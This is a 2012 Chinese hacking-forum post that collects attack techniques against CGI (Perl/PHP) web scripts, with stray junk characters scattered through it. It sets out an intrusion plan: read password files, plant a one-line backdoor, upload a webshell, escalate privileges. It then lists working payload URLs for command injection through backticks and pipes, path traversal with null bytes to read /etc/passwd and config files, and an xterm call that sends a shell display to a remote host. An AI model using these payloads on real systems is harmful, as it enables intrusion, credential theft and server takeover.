找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2709|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  : ]! u# F) C: W, b! F( m
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
$ Q6 {9 ~4 q" f感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  . F5 I& ?6 l! C9 y5 h
注“    Q4 n$ y  I, X, ~- @
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
2 s, y$ U" L3 n, _- _以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  6 y, q( J! P. ?" M4 {/ L8 P2 V

. k2 J5 |3 u3 W! X6 ?) T" g+ @* vhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  , j/ u* j- R: ^4 m9 ^* n+ k, Q
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  $ G# a" q1 y: ^# A9 Y0 [
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  
2 d- ]2 {  g1 @" k3 shttp://target.com/cgi-bin/home/news/sub.pl?`id`  
( [* b& e$ L6 s7 t% P! B3 N; R8 |http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  : R8 p. v7 B. m5 Y( ]" O
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  " {$ k! ?" f5 B6 Y% U6 R
! Q/ C+ U4 `! l- E2 l+ B
http://target.com/test.pl;ls|  
* L: n$ s7 p: X0 xhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  " k7 H7 z  W/ T, g2 D/ K/ P" n  a
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  ! C. H9 O4 Y" [7 ^3 i. v
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
+ R4 n1 G$ k: K. E8 a$ U% {比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  9 O- ?$ a/ J. E* f
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
# b; f9 J5 J) t/ s3 _- K
" V1 R% H4 [) h" n; B0 j  W) shttp://target.com/test.pl?&........ /../../etc/passwd  ! o1 e3 H$ n( e

9 v* z$ W, A/ g$ ~- phttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
5 Y3 c: c/ i, Y' S$ z1 Dhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  * K+ V! a! v. P/ w1 Z! a% i4 @
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  # Z! L. b& x1 n  G

. }( \1 T, Y; Ghttp://www.target.org/show.php?f ... /include/config.php 查看php代码    n0 |! `, t3 D& h& ?
http://www.target.org/show.php?f ... ng/admin/global.php  ) W1 W4 j2 p& ~# @% I. w

  \; ]6 }8 ~3 e' _emm和ps的一句话' L! b; U. u8 U' k( K
) W+ Z& ?7 y/ i( n' C2 @3 }
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  # }5 {* a% Z, w5 j, J/ \1 x

* k1 L5 @" Y$ D/ N( A1 L>bbb%20|  
( p: R* W: {$ i8 m. C8 I
8 I3 Q% Q" y: Chttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
9 e9 F4 d8 V$ n+ ]1 W+ H% p! i* L# R3 [7 n5 r
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  $ q4 V: ~3 l9 ~( s: ]0 M9 B
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  % w) {( n9 p6 b; i/ G3 B, B. w' v
& ?* E* c5 v3 o9 t& z
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  9 |8 d6 T/ u; u% S/ l
http://target.com/index.html#cmd.exe  ) x  J+ e* {6 o5 F# K
http://target.com/index.html?dummyparam=xp_cmdshell  
8 f+ T- w/ x  j& A2 N: Qlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
# Q- m8 T( z. r! E; K* K/ @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表